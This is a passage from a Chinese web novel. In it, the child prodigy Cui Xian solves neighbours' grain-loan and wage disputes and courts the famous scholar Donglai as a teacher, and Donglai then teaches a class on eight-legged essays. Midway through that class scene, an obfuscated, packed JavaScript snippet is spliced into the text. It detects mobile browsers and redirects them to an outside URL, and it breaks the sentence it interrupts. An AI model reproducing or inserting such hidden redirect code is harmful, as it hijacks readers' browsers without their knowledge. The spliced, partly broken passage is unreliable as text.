要是您老没有收徒弟的想法,那就退一步,大家交个朋友也行啊! 崔岘略作思索,还真想出一个好办法。 虽然不知道,为何这么厉害的大佬,竟搬进了仲景巷来。 但既然搬进来了,那大家就是邻居嘛。 新邻居来了,去打个招呼,寒暄认识熟悉一番,这是祖母最擅长的。 想到这里,崔岘赶紧去找祖母老崔氏。 然而他注定要失望了。 崔岘刚关上院门,走进堂屋。 便见老崔氏坐在卧房桌案前,在油灯下,一边哆嗦握笔,一边崩溃大哭:“太难了!真的太难了!” “伯山,仲渊。娘脑子笨,实在是学不会啊!” 崔伯山面无表情,想笑,但是又绷住了。 而崔仲渊则是道:“娘,你这个年纪,正是努力用功、学习开蒙的好时候。你要是不学,将来儿子们如何有颜面跟爹交代?” “更何况,咱崔家的未来,可都攥在你手上了。你看岘哥儿,一学就会,钰哥儿最近也进步神速。” “怎地到了娘你这里,就死活也学不会呢?” 老崔氏哭声骤停,大怒。 崔仲渊梗着脖子道:“娘以前就是这般教训我和大哥的。” “……” 老崔氏一怒之下怒了一下,半晌后又开始哆嗦着哭:“学,娘继续学!” 看着这一幕的崔岘,默默退了出去。 开蒙识字学算数这种事情,不管是五岁,还是五十岁。只要你开始学,都得先疯上一阵子。 算了,别再折腾祖母了。 老人家看起来……也怪不容易的。 这一夜,老崔氏的枕头都是湿的。 因为开蒙真的太难了。 太难了啊! 次日,学堂休沐。 东莱先生也许是昨日累着了,门外挂了‘谢绝见客’的牌匾,因此仲景巷又恢复了往日的清静。 崔岘心里惦记大儒靠山,没有在家温书,而是故意在巷子里晃悠。 他现在,绝对算得上是仲景巷最受欢迎的人。 因此一露面,各家邻居都来热情打招呼。 这家给送点瓜果,那家给送盘点心,不足一盏茶功夫,怀里便被‘投喂’了各种零嘴儿。 甚至还有人来找他断官司的! 眼看远处有几位邻居互相指责,老远就嚷嚷着要找‘小神童’评理。 崔岘不着痕迹往前走几步,好巧不巧,站在东莱先生家门外不远。 片刻后。 张婶子、李婶子,以及孙老叔,和三个年轻伙计一起,先后对崔岘说道:“小神童,你可要为我们评评理啊!我们只信你。” 围观邻居见有热闹可看,也都凑了过来,好奇道:“什么纠纷,还得找小神童来评理。” 结果一问,好嘛,原来是算账算不明白。 而且还是两桩账面纠纷。 张婶子去年向李婶子家借了三斗小麦,去年小麦价格为每斗20文。 今年小麦价格涨了,涨到每斗30文,和每斗30文的大米价格相当。 刚好李婶子家最近缺米,于是想让张婶子还自家三斗大米。 张婶子自然不乐意,觉得自己亏了。 双方互相指责对方想占便宜,吵得不可开交。 至于孙老叔这边,则简单些:他是一家店铺的东家,但是铺子倒闭了,如今只剩下900文的活钱。 三个被拖欠薪资的伙计来要账。 一个伙计做工30天,一个伙计做工40天,一个伙计做工50天。 当然原本并非是整数天数。 据几位伙计说,这是他们见东家实在不容易,把零碎的工日给抹掉了。 就这么两个‘案件’一出,巷子里邻居们顿时吵作一团。 “哎呦,这一看就是张婶子亏了嘛!” “可是李婶子要三斗大米,难道不是很合理?价格是一样的。” “不然让张婶子还三斗小麦,不就行了。” “这仨伙计的账,我是真算不明白,得去找个账房先生呀!” “孙老叔铺子都倒闭了,哪里有钱找账房先生哟。” 问题是。 李婶子在气头上,气呼呼道:“我就要三斗大米。” 张婶子也气的不行:“那你就是占便宜!” 赵老叔一摊手:“反正我这里就900文,你们仨自己商量着分吧。” 三个伙计面面相觑,他们就是分不明白啊! 最后,几位苦主都期盼看向崔岘。 众多争吵的邻居,也都看向崔岘。 崔岘听完这两个案件,顿时就笑了。 这不就是最基本的,《九章算术》里粟米章平账,和衰分章摆平嘛。 只要学过现代数学,便很容易解答。 可对于古人来说,确实会一头雾水。 莫说眼前这些百姓。 便是厉害的读书人来了,也得先拿笔算一算。 和能力无关, 因为他们没学过这种解题方法。 看似简单的两个案件,包括了现代数学中的:比例计算、线性代数、市场均衡、加权平均、配额分配、成本分摊。 在街坊邻居们期待的注视下,崔岘略作思索,有了答案。 巷子里众人不知道的是。 旁边院子里。 东莱先生鬼鬼祟祟贴在院墙处,也在关注着外面的动静。 仆从坐在一旁洗衣裳,瞧见这一幕,很是无言:“老爷,您这是作甚?” 东莱先生轻‘嘘’一声,压低嗓门道:“莫要打扰我,认真听。” 仆从谴责道:“听什么?听神童娃娃和邻居唠家常?老爷,偷听并非君子所为。” 东莱先生摇摇头,神情高深莫测:“非也非也。这并非在唠家常,而是在解算数难题。” “虽说此两题并不难解。但就算是老爷我,也需要算盘、或者纸笔,稍作推演。” “而这两题,对于八岁孩童来说,还是太难了些。” “且等我写出答案,然后出去帮几位邻居解决难题,刚好在老夫的乖乖徒弟面前……” 东莱先生这话没说完。 巷子外。 崔岘清清脆脆的声音传进来:“张婶子,你应该还李婶子家两斗半大米。” “赵老叔,你这三个伙计,按照做工时间从高到低,分别应该拿375文,300文,225文。” 院子里一片安静。 仆从目光诡异的看向东莱先生,一句话没说,但好似又说了很多。 东莱先生脸色骤然涨红,最终也没好意思去拿算盘。 自己吭哧吭哧算了一小会儿,之后震惊的瞪大双眼:“竟然全对了!这孩子难道还会即时心算?” 仆从站起来,把洗衣盆里的水泼出去,说道:“算了,老爷,先吃饭吧。” 79、互相把对方迷死的师徒俩 仲景巷。 两桩官司很简单就断完了。 三个伙计其实没懂。 但三人简单粗暴一合计:干活儿最多的分的钱最多,干活儿最少的分的钱最少。 很合理啊。 于是痛快让孙老叔给了钱,并谢过小神童,揣着钱走了。 两个婶子这里,其实也没懂,为何最后竟出了个‘半斗大米’的情况。 但她们确实是比较信任崔岘的,所以犹豫思索片刻,也没再多纠缠。 张婶子当场回家,带出来两斗半大米,交还给李婶子。 此事本该到这里愉快结束。 可今日除了偷摸在自家‘听墙根’的东莱先生,还有个姓马的秀才公,也在巷子不远处,关注着这场‘还粮纠纷’。 马秀才自然是想来抱大腿的,可苦于找不到机会。 但现在,他觉得机会来了。 因为崔岘把这个账算错了! 等到两个妇人当场交接完粮食,马秀才轻咳一声,走过去故意大声笑道:“小神童对吧,你这个账目,肯定是算的不对。” “若按照去年的粮价,借方应该还赁方三斗粮。若按照今年的粮价,借方应该还赁方两斗粮。不管怎么算,万万都不可能出现两斗半粮的情况。” “看来咱们的小神童虽然写诗天赋惊人,却并不精通算数啊哈哈哈。” 这话说得就很有学问。 既通过指正崔岘的错误,以达到获得东莱先生注意的目的。 又担心自己表现过于尖锐有打压后生之嫌,惹东莱先生不喜,所以还特地肯定了崔岘的诗才。 听到这话,两位婶子表情都迟疑了。 其余邻居们心里也都泛起嘀咕,毕竟眼前这位,是个秀才公呢。 难道小神童真算错啦? 唯有崔岘不吭声,笑眯眯看着马秀才表演。 马秀才轻咳一声,朝着东莱先生家大门一拱手:“诸位想来也听说了,这户院落里,住着鼎鼎大名的东莱先生。” “你们若是不信我的话,可以请东莱先生出来,帮大家算一算账。” 说完,马秀才回过头,一脸期待。 这般过了许久。 东莱先生家院子里安安静静,仿佛主人没在家似的。 气氛很是尴尬。 马秀才脸色僵硬的站在那里,走也不是,留也不是。 崔岘在心里乐不可支:兄弟,上赶着的买卖不是买卖,倒贴货是最不值钱的! 但还好有你做了倒贴货,一下子就显得我更值钱了! 听我说,谢谢你。 心里有了主意,崔岘看向马秀才,适时递了个台阶过去:“敢问这位秀才公,那您觉得,是该按照去年的粮价算账,还是今年的粮价算账呢?” 听到崔岘递话过来,马秀才感激又羞愧的看了对方一眼,下意识准备回答。 可话到嘴边,他突然愣住了。 张婶子、李婶子,以及一帮街坊邻居们,也都看向马秀才。 马秀才苦苦思索片刻,最后迟疑道:“嗯……自然该按照去年的粮价算,所以借方应该还赁方三斗粮。” 好家伙。 这话一出,李婶子眉开眼笑,把那两斗半大米重新递回张婶子,底气十足:“看吧,连秀才公都说啦,你应该还我三斗。诺,这两斗半还你,你马上给我添到三斗去!” 张婶子愤愤的瞪了一眼马秀才。 而后她一咬牙,像是下定了某种决心,拎着那两斗半的粮,一言不发回了家,‘砰’的一声把门关上了。 李婶子见状慌了,赶紧跑过去敲门:“你关门干啥,你不会是想赖债吧?” 张婶子一句话不吭。 看来还真准备赖账了! 这下子,满巷子邻居哗然,李婶子哭爹喊娘。 马秀才傻眼了,又开始出主意:“嗯……要不按照今年的粮价算?或者……那妇人欠粮不还,报官!” 邻居们这才明白,这什么秀才公啊,就是个傻子! 一会儿按照今年的价格算,一会儿按照去年的价格算。 那究竟要怎么算? 而且谁家乐意因为几斗粮报官,都是街坊邻居,有拌嘴纠纷在所难免。真报了官,以后怎么在巷子里立足! 有人嘀咕道:“什么秀才公,一点小事儿都解决不了。刚才小神童明明都把事情解决了。” 马秀才气恼到不行,因为他明明把账算对了! 但也怪哉,账对了,怎么反而起纷争了呢? 恰逢这时候。 嘎吱一声。 东莱先生开门走出来,他好像是刚发现这里的纷争一般,好奇问道:“这是怎么了?” 马秀才脸色骤然涨红,怎么偏偏他最丢脸的时候,东莱先生出来了! 百姓们便七嘴八舌把事情说给东莱先生听,顺便狠狠指责了一番马秀才添乱帮倒忙。 最近邻居们都听说了,这位新搬来的老者,是个厉害的大儒呢! 马秀才硬着头皮道:“回先生的话,学生自认为没有算错。” 东莱先生不置可否。 他看向站在巷子口,怀里端着各种小零嘴儿的崔岘,心中满意点头。 俊俏、机灵,受欢迎,不错。 适合做学生。 崔岘同样在看东莱先生,第一眼对这老先生的外在形象表示认同。 和蔼,儒雅,有风度,甚好。 适合做老师。 片刻的对视过后,东莱先生问道:“方才你说,应归还两斗半粮,是怎么算出来的?” 众人闻言都看向崔岘。 崔岘朝对方拱了拱手,笑道:“回禀老先生,这借粟还米一事,看似是道算数题,其实也是道人情题。” “去年借粮的时候,两位婶子自然不会特地约定,若粮价上涨、或下降,收益或损失该由谁来承担。” “既然这样,那以随时在波动的粮价,来作为衡量租借粮食的标准,就是不合理的。” “如今粮价上涨,按去年粮价算,张婶子亏一斗。按今年粮价算,李婶子亏一斗。亏损额比例过大,全部施加在某一方身上,就会导致直接谈崩,把账面给坏掉了。” 普通百姓是不懂通货膨胀,风险承担,价值配比的。 但没关系,《九章算术》里早就写出了一个‘公式模型’——按照这个模型推理,要么双方‘小赔’,要么双方‘小赚’,绝对公允。 谁也挑不出毛病。 崔岘这话,也让众人频频点头! 他们听懂了。 连一开始觉得自己没错的马秀才,都听愣住了。 在东莱先生的注视下,便见自家乖乖小徒弟摊了摊手,笑眯眯道:“所以,这就要出现损失平摊的情况。两斗半不偏不倚,双方都为市场波动价格,承担了一半的损失,两位好邻居大度携手,共度难关。” “但咱们往好处想,两斗半的粮,以今年30文的价格来算,价值75文。李婶子去年赁出去三斗价值20文的粮,价值60文,最后回收75文,小赚15文。” “而张婶子,去年借了三斗粮,如今只用还两斗半,也小赚半斗粮哩。” 这话说完,大家都哄笑出声。 他们听懂了。 其实这样算下来,因为粮价波动,两个婶子都有一点亏损,但也不至于谁吃大亏,谁占大便宜。 很公正。 小神童心思巧妙,反把亏损说成小赚,是让两个婶子好好平账呢。 果然。 李婶子不哭了,大声道:“小神童已经给出答案了,张家的,你快还我两斗半的米。” 张婶子把门打开,将两斗半米还了。 二人在邻居的说和下,赧然握手言和。 而后,一群人又来把崔岘夸上天:哎哟,不愧是小神童哦,比秀才公都厉害呢! 马秀才尴尬到无地自容,但也不敢再小觑崔岘。 崔岘笑眯眯接下邻居们的夸赞,还做了个漂亮的总结:“借时麦贱还时贵,折中公允两家惠!两位婶子,都是咱仲景巷的好心人,懂互相体谅嘞。” 两个婶子被夸得满脸泛红。 其余邻居也纷纷夸赞,顿时巷子里一派其乐融融。 崔岘余光看向东莱先生,心想,我这番出色表现,还不得把你给迷死? 别等了,快来收徒吧老师! 东莱先生确实被迷得走不动道了。 别人只看到崔岘解决了一桩难题。 但东莱先生看到的,是稚子算账,大人熄争,算术之法,稳稳落在市井烟火之中啊! 能想出这样的解决办法,除了得会算数,还得有一颗七窍玲珑心。 这般优秀的学生,哪个老师看了不迷糊? 那简直迷死了! 东莱先生心里喜欢的不要不要的,但又端着大儒风范。 想狠狠夸赞一番小徒弟,又担心徒弟觉得自己不够沉稳。 恰逢这时候。 那马秀才尴尬极了,于是只能佯装忙碌,没话找话,向东莱先生拱手,虚心请教:“先生,今日学生前来,是有问题想要请教。” “敢问先生,《春秋》笔法褒贬存焉。然,《公羊转》言大一统,《穀梁》重正名,二传于尊王攘夷一旨,各执一端。” “今北虏南倭双双来犯我大梁,先生以为,当效仿《春秋》修德怀远,亦或严夷夏之防?” 左邻右舍们处理完借粮纠纷,又开始好奇围观读书人讲解学问。 结果一个个听得神情茫然。 娘嘞,这说的是人话吗,怎么听不懂呢? 而听完这个问题的崔岘,惊讶的看了一眼马秀才。 因为这短短两句话,需要以史证经,破经传矛盾,引当下时政,以王道权衡为中心,结合理论与实际,并史鉴与经义来作答。 总之一句话—— 这问题问的有点东西啊。 但东莱先生却直接道:“这是谁帮你出的问题?” 崔岘噗嗤笑出声。 马秀才越发尴尬到羞愤欲死。 他为了向东莱先生请教时能被高看一眼,特地去找一位举人前辈,帮忙捉刀了一个很厉害的问题。 却不曾想,弄巧成拙。 在巷子里卖弄,被崔岘比了下去。 问的问题,也被东莱先生直接戳破。 好在,东莱先生虽然讲话比较直接,但还是认真作答:“《春秋》城濮之战,晋文公胜楚而盟诸侯。夫子书曰:天王狩于河阳。故,《公羊传》实与而文不与,是为修德化夷。” “然,吴楚僭号,夫子却书曰:吴入郢。此为《穀梁》夷狄虽大曰子,时愈乱,防愈峻。” “故曰:夷夏之防,本乎德之盛衰。” “武帝击匈奴,海内虚耗。太宗平突厥,安史踵其后。” 听闻此话,马秀才浑身一震。 这个涵盖诸多层面的问题,竟然被东莱先生如此轻松解决。 简单来说,马秀才问的是:读《春秋》后发现,圣人通过对字句删改记录历史,以表示褒贬。《公羊传》强调大一统,《穀梁传》却注重正名分,两本书都赞同尊王攘夷,却又各自有侧重点。 如今南北各有蛮夷来犯,我们读了《春秋》,应该以德感化接纳外邦,还是严防死守跟外邦的界限? 而东莱先生引两次圣人截然不同的表述,和两个历史先例,回答: 咱们若用强,就打,但不能莽,否则会耗空基业。咱们若用怀柔,就去招安,但也不能太过软弱,否则敌人就会蹬鼻子上脸。 这看似是个简单的道理。 但把《春秋》《公羊传》《穀梁传》两相参证,以史证经,轻松破掉了经传之间的矛盾。 而后。 东莱先生又道:“是以,你我读《春秋》之古经,应行权变之史。之于蛮夷,或开市互易,或德化兼济。子曰:无可无不可也。” 这段话,就牵扯到当下时政了。 东莱先生看似讲了很多,实则好像又没给出明确答复:那究竟是打,还是接纳呢?打的话怎么打,接纳又该怎么接纳? 但其实本质上,应该是当今坐在龙椅上那位,还没彻底做决定。 所以东莱先生不能明确给出答案。 马秀才听得懵懵懂懂。 但这并不代表他什么都没学到,大儒三言两语,破经传矛盾,实在令他心折震撼。 他甚至觉得有所感悟,找到了一些精进学业的妙法。 这是待在房间里读死书,一辈子都不可能领悟到的。 正所谓:听君一席话,胜读十年书。 因此马秀才向东莱先生长鞠一躬,激动到甚至哽咽出声:“学生多谢先生教诲!学生多谢先生教诲啊!” 周围的百姓们听不懂,但不影响他们纷纷鼓掌叫好。 东莱先生人前显圣完毕,矜持点头,余光却忍不住打量崔岘。 心想:为师这般表现,不得迷死你? 别等了,快来拜师吧乖乖徒弟! 说实话,崔岘确实有被迷到。 不仅仅是东莱先生这般信手拈来,举重若轻的经史互参。 更因为他对当下时政的老辣看法,对圣上心意的揣摩,对大梁王朝国力、国策的了然于胸。 秀才不出门,便知天下事。 这话自然是假的。 否则马秀才不至于问出一个问题,东莱先生就知道,这题不是他能问出来的。 崔岘若是待在这个小小的南阳城里,跟着吴夫子,或者别的夫子学习,学上十年二十年,也不见得有东莱先生指点一番,来的有用。 读四书五经只是学习的工具。 最终,他是要走科举仕途,步入官场的! 而进入科考考场那一刻,就注定了,你不仅仅要会学习。还得从四书五经当中,洞察圣心,钻研时政。 所以拜师,不仅仅是为了有个后台。 他还可以是你科举功名路、乃至人生路上的领航者。 反之。 带着一个天资聪颖的徒弟上路,同样是大儒老师百般渴求的人生幸事。 因为一身学识与抱负,总要有人来传承衣钵。 这对天生相适配的师徒,站在巷子里,互相对视,惺惺相惜。 双方一个目光稚嫩脸带笑意,一个儒雅端庄沉稳随和,心中同时默念‘倒贴货是不值钱的’。 并努力散发善意,企图对方先开口拜师或收徒。 然而,最终无事发生。 崔岘笑眯眯朝着东莱先生拱手,而后在转身回家的一刹那,脸色愤愤:可恶,这都拿不下你? 好样的,老头,你吸引了我的注意力。 东莱先生朝着崔岘点头示意,接着在回到院子后,神情郁闷:怪哉,这都不来拜师? 好样的,小子,老夫这次就盯上你了! 80、弟子茶 崔岘和东莱先生,在仲景巷里短暂打了个照面。 而后各自归家。 次日。 崔岘在祖母的崩溃哭嚷声中,照旧和崔钰一起,去裴氏族学上课。 东莱先生家门外,同样又排起了长龙队伍。 但奇怪的是。 东莱先生只短暂开了半日门,便谢绝见客。 据前去请教的某位学子说,东莱先生似乎收到了一封信,读完后便勃然大怒,没了授业解惑的心思。 难道是北虏南倭来犯? 再或者,京城政权中心有大变动? 但其实真相是—— 仆从去南阳驿馆,取到了一封写给自家老爷的信。 来信人是季甫先生。 正所谓:文无第一,武无第二。 季甫先生也是如今士林当中的名儒,和东莱先生并称当世最厉害的两位大儒。 传闻,两位先生关系匪浅,相交莫逆。 经常互通书信,切磋学问。 而今日季甫先生,给东莱先生写的信,足足有二十页之多。 忽略掉那些没用的屁话,这封信简单概括一下意思就是: 听说你巴巴不远千里,去南阳收徒了?收到没有啊?希望你没收到。 老子最近收了个很牛逼的徒弟,能拳打《悯农》脚踢《咏鹅》那种。 你这老小子,不仅学问不如我,收的徒弟也比不上我徒弟。 所以菜就得多练,知道不? 院子里。 看完信的东莱先生气到脸色发红,不停来回踱步:“气煞老夫,当真气煞老夫!” 仆从在旁边,忙活着把书箱里的书倒腾出来,在阳光下晾晒。 并说道:“老爷让一让,你挡住阳光了。” 东莱先生神情微滞。 而后他想了想,目光期待的问仆从:“你说,有没有一种可能。是老夫锦衣夜行,过于低调。我那乖乖徒弟,不知我是东莱,所以一直没来拜师?” 仆从看向他的目光满是同情:“有的,是有这种可能的,老爷。” 东莱先生被这个目光看破防了,大怒:“晒书就晒书,话这么多作甚!闭嘴,干活儿吧你!” 另一边。 裴氏族学。 裴坚正式决定,开始跟着吴夫子学习作八股文,晋升‘大班’。 除了他。 庄瑾、李鹤聿、高奇三人,竟也准备进入大班。 也不知是单纯有样学样,还是暗搓搓被裴坚卷了起来。 但不管如何,作为夫子,吴清澜很欣慰。 他站在课堂前方,笑着感慨道:“你们四个,从前最是让为师头疼。如今终于沉稳下来,开始步入正途了,大善。” “从明日起,为师便教导你们作八股文章。” “说起作八股,东莱先生的八股,乃公认的文坛一绝。听闻他老人家如今,正在南阳。算了,扯远了——” 这大概是所有老师的通病,在课堂上很容易东拉西扯。 裴坚几人听着夫子的夸赞,颇有些赧然,毕竟以前他们几个,好像确实挺混不吝的。 崔岘在旁边听着,目光一闪,站起来乖巧道:“夫子,你说的那位东莱先生,好像住在我家巷子里。” “那老先生很是和蔼,愿意传道授业解惑,很多学子都来找他请教学问。” “学生昨日还看到,一位秀才公向他请教学问,并执弟子礼以示尊敬呢。” “听我爹说,东莱先生还特地去县学授课了。” 秀才公去请教学问?去县学授课? 一群学子们闻言,发出没见过世面的惊叹。 裴坚也好奇道:“那什么东边来的先生,竟这般厉害?” 吴夫子脸上的欣慰笑容骤然一收:“莫要胡说!” 裴坚缩了缩脖子。 但有道是——说者有心,听者有意。 听完崔岘这话。 吴清澜眼睛猛然亮起来,激动道:“崔岘,你这话倒是提醒为师了!既然刚好裴坚等人正需要学习八股。那不如为师厚着脸皮,去东莱先生家,请他来咱们学堂授一节课吧。” “崔岘,你准备一下,同我去拜访东莱先生。” 崔岘压下嘴角的笑意,佯装为难:“这……不太好吧。我一无名稚子,贸然登门,恐遭老先生嫌弃,不妥。” 吴清澜不赞同道:“此言差矣!像是你这样满身才气的稚童,老先生必定会惜才的。而且,你刚好知道老先生家的住址。” “届时你带为师过去,为师去叩门。你好生表现,给老先生敬杯茶。老先生一开心,说不定就同意了。” 崔岘想了想,勉为其难道:“那好吧。” 于是,这个事情就算定下了。 当日午后。 吴清澜带着崔岘,去东莱先生家叩门。 东莱先生心情不好,并不想见客,跟仆从说道:“不见,就说老夫病了。” 仆从说:“好的老爷,我这就去跟外面来拜访的小神童说,您生病了。” 东莱先生闻言蹭的一下从塌上坐起来,整个人看起来非常不值钱,激动道:“慢着!老夫这病突然就好了!快快有请,快快有请啊!” “等等,先等等,容老夫换身衣裳。” 乖乖徒弟终于来拜师了! 他作为老师,自然得好生整理一番仪容啊。 然而半盏茶时间后。 特地换上新衣,隆重开门迎接乖乖徒弟的东莱先生,感觉自己像个小丑。 好消息:乖乖徒弟来登门了。 坏消息:乖乖徒弟是带着他老师一起来的。 这人生啊,果真大起大落。 无视仆从同情的眼神,东莱先生宠辱不惊的将这师徒二人迎进门,泡以好茶热情款待。 同时。 他挑剔、嫉妒的目光,不停在吴清澜身上打量,心想:此人看起来平平无奇,老夫究竟输在哪里? 吴清澜感觉很奇怪。 东莱先生鼎鼎大名,他自是不敢在对方面前造次。 可老先生这目光,看起来怎地跟要吃了自己似的可怕? 应该是自己多想了! 吴清澜定了定心神,同崔岘道:“崔岘,这便是为师跟你讲过的,当今士林文坛最有学问的大家,东莱先生。” “你去给先生敬个茶。” 崔岘闻言乖巧道:“好的。” 他依言端起桌上的茶盏,走过去恭敬递给东莱先生,说道:“请先生喝茶。” 东莱先生笑眯眯接过,并未送入口中饮用,反手放在旁边案上。 他是个很有原则的大儒,并不喝别人家弟子敬的茶。 崔岘好生尴尬。 果然,上赶着做倒贴货是不值钱的! 还好今日把吴清澜拉来了,这要是自己一个人来登门,被这样对待,怕是尴尬的都无地自容。 敬完茶。 崔岘快速转身,回到吴夫子身边站定。 吴清澜尚没有注意到这小事,毕竟面对一位当世大儒,他有点紧张。 因此难免绷紧了些,说道:“东莱先生,我这学生叫做崔岘,是个非常优秀的孩子。” 东莱先生心想:懂了,原来此人是来炫耀的。 岂有此理! 抢了老夫的得意弟子就算了,还特地让得意弟子来给老夫敬茶! 这不是炫耀是什么?! 若非崔岘在这里,东莱先生肯定就拂袖而去了。 吴清澜说完后,没等到老先生的回应,越发紧张。 心想还是别铺垫了,直接进入正题吧。 于是他又特地站起来,朝着东莱先生拱手道:“先生,晚辈是裴氏族学的夫子。听闻先生大义,速来有传道受业解惑的美名。” “因此学生斗胆,想请东莱先生,来我裴氏族学,为年幼的学生们授课传道。” “我裴氏族学文风端正,也有像是崔岘这般才思敏捷、天分十足的学子。若先生肯来指点授课,实乃我裴氏族学师生之幸。” 他说完后,厅堂里一片安静。 一直没等到回应,吴清澜愣住了,小心翼翼抬起头。 便见方才还面无表情的东莱先生,突然态度大变。整个人脸上都洋溢着热情、赞叹的笑容:“哈哈哈,原来你竟然是学堂里的夫子!善!大善!” “你热情相邀,老夫自然会去的。这样,不如我们现在就……额,现在已经是下午。” “那就明日,明日一早我过去,你看如何?” 啊? 吴清澜傻了,心想这也是我能决定的吗? 不过他还是很激动,磕磕巴巴的道谢:“自然可以,自然可以的!先生,我这学生,刚好也住在仲景巷。” “明日一早,让他带您去裴氏族学,您看可否合适?” 那可太合适了! 东莱先生点头表示同意。 忽然又像是想到了什么似的,他急急将放在桌上的茶盏端起来,喝了好大一口,赞叹道:“好茶,好茶啊哈哈哈。” 有的人看似在笑。 但其实心里早已哭晕过去。 弟子茶,老夫的弟子茶啊! 所以刚才究竟在拿乔什么? 喝一口能死吗? 茶盏落桌还能算是敬茶吗? 他前后态度转变实在过于让人摸不着头脑,因此吴清澜很是费解,但又不敢多问。 崔岘同样好生疑惑。 这究竟几个意思啊? 81、这小子/老头对我有意思(上) 第二日。 因昨日未接徒弟茶盏,让茶盏落桌的东莱先生,心虚站在门外,翘首以盼等待徒弟。 崔岘应该起床了,但还未出家门。 站在巷子里,隐约能听见崔家有个老妇在哭嚷哀嚎‘太难了’。 什么太难了,日子过的太难了吗? 乖乖徒弟家应该很是清贫。 不行,老夫一定要尽早收徒,把徒弟照顾好了! 这时。 崔家院门打开,崔岘、崔钰兄弟二人走出来。 崔岘带着阿兄,一起跟东莱先生恭敬行礼:“老先生,我带您去裴氏族学,您请。” 东莱先生点头致意。 而后,三人一起先后走出仲景巷。 崔家两位小兄弟在前面。 东莱先生在后面。 双方全程无交流。 东莱先生好生尴尬,数次想开口打破沉默,却又不知该说些什么。 扪心自问,他自己若是给人敬茶,别人不喝直接放桌案上,他肯定也恼羞。 与此同时。 走在前面的崔岘,则是用余光偷偷打量侧后方的东莱先生,神情越发狐疑。 他怎么觉得,这老头儿一直在看自己呢? 但没道理啊。 昨日那茶……额,说起这个崔岘就很无言。 所以那茶算是喝了,还是没喝啊! 这个问题还挺关键的。 崔岘并非孤傲之人,也不是说拉不下脸面去主动拜师。 但此事你不能冒然登门开口,得释放点信号,或者接收点信号。 正所谓:闻弦歌而知雅意。 古人最是讲究这个,尤其对方还是位大有来头的名儒。 要先对上眼儿。 要你懂我的心照不宣。 要我懂你的点到为止。 而后,再等一个水到渠成,恰到好处的天赐良机,成就一番师徒佳话。 至于该如何‘对眼儿’呢? 那真没有比学堂更合适的地方了! 因此,崔岘通过吴清澜夫子,将东莱先生请到了裴氏族学授课。 今日裴坚等人知道岘弟要带东莱先生来族学,所以自行到学堂等待。 为了迎接老先生,整个学堂打扫的十分干净。 学子们翘首以盼。 吴清澜更是早早在族学外迎接,瞧见东莱先生后,激动躬身道:“学生恭迎先生到来,裴氏族学何其有幸,能得先生指点。 “先生,您随我里面请! 这话并不夸张。 能有幸得名儒授课,确实是学子们的幸事。 只是这群学子终究年纪太小,哪怕听夫子再三强调,东莱先生如何厉害。 他们也听的很是懵懂,最好奇的还是:这厉害老先生,究竟长什么模样? 在裴坚等人好奇的注视下。 东莱先生走进课堂,笑呵呵道:“诸位好,老夫便是东莱。怎么样,这般普通长相,是不是让你们失望了。 众人顿时哄笑作一团。 裴坚壮着胆子嬉笑道:“非也非也,老先生很是俊俏呐! 东莱先生闻言爽朗笑出声,他看向说话的裴坚,最后目光却落在了裴坚旁边的崔岘身上。 崔岘回看了他一眼。 双方目光短暂相接,而后各自若无其事挪开。 课堂里,一帮小学子笑的更开心。 吴清澜站在教室最后方,跟着众人一起笑,心里却面无表情的想:裴坚,不敬师长,扣一分。 等笑完了,东莱先生问道:“我这里有个问题,需要你们来作答。嗯,是个非常难的问题。 课堂里一下子紧张起来。 结果下一刻,便见东莱先生笑道:“谁知道该怎么盖起来一座房屋?第一步要做什么? 嗐! 这算是什么问题嘛! 白紧张一场! 这个问题问到了李鹤聿的知识区,他笑着自信道:“老先生,盖房子的第一步,肯定是要打地基!然后立梁柱,接着砌砖瓦,最后雕门窗。 东莱先生笑着给予夸赞,他看向李鹤聿,而后目光又落在了崔岘身上。 崔岘再次回看了他一眼。 心里总算是有谱了。 东莱先生收回目光,笑吟吟道:“这位小学子答得非常好,肯定亲眼看过很多次盖房 屋。和你们一样,老夫对盖房屋也很感兴趣。” “但你们吴夫子请我来,是为了让我讲课的,当真好生没劲。” “其实老夫更想带你们一起去盖房屋。” 教室里众人乐疯了。 甚至有学子开始起哄:那咱们去盖房屋吧! 当然这话裴坚没敢附和,他看了一眼自己书箱里寥寥几张赏票,感觉有些浑话,暗中都标好了价格。 东莱先生没有同意学子们去盖房屋的请求,笑呵呵道:“无碍。咱们在课堂上,也能盖房屋。” “我知道你们肯定不信,但我必须要告诉大家,这是真的可以做到的。” “盖房屋就像是做八股文章那般,顺序步骤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088372|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是大同小异的。只不过,盖房屋需要打地基、立梁柱,砌砖瓦,雕门窗。” “但做八股文,要先破题,再承题,而后起讲,最后作四比八股。你们看,是不是跟盖房子,是一个步骤的。” 学子们一开始还笑着听呢。 可后来突然就愣住了。 糟糕! 知识以一种猝不及防的方式,钻进脑子里了! 但因为东莱先生讲的很风趣幽默,大家反而真的记住了。 连即将学习八股文的裴坚等人,都很是好奇:难道做八股文,真的就是盖房子吗? “不仅步骤是一样的,连施工操作都是一样的。你们看,盖房子打地基之前,是不是要找好方位,确定从哪里开始深挖?” “做八股文,第一步破题,便是这个原理。因为你得把题目挖出来,还得挖的准,挖的深。地基挖的越好,房屋越稳当。题目挖的越好,这篇八股就做的越稳当。” 东莱先生笑着举例道:“但房屋四四方方,高矮错落。那么挖地基的时候,该从前后左右哪里开始挖呢?有经验的工匠师傅会告诉你,其实从哪里都可以,全凭心意。” “因为你掌控着房屋的走向,同时也掌握着八股文章的走向。所以你得小心些挖,因为粗心大意,房子会塌,八股文章也会塌。” “挖地基分前后左右,而破题呢,分明破、暗破、正破、反破,甚至还有顺破、逆破。当然我们先从最简单的开始,比如孝悌二字。直接分析这两个字,那就是明破。” “但若你想挖的更深一些,以‘伦’字来代替孝悌二字,那么这就是暗破。” 教室里一片安静。 学子们显然是听进去了。 